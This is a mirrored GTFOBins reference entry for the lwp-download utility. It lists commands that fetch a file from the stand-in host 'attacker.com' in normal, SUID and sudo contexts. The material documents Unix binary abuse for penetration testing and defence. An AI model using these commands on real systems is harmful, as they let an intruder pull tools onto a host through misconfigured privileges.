mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
20 lines
478 B
Markdown
20 lines
478 B
Markdown
---
|
|
description: Fetch a remote file via HTTP GET request.
|
|
functions:
|
|
file-download:
|
|
- code: |
|
|
URL=http://attacker.com/file_to_get
|
|
LFILE=file_to_save
|
|
lwp-download $URL $LFILE
|
|
suid:
|
|
- code: |
|
|
URL=http://attacker.com/file_to_get
|
|
LFILE=file_to_save
|
|
./lwp-download $URL $LFILE
|
|
sudo:
|
|
- code: |
|
|
URL=http://attacker.com/file_to_get
|
|
export LFILE=file_to_save
|
|
sudo -E lwp-download $URL $LFILE
|
|
---
|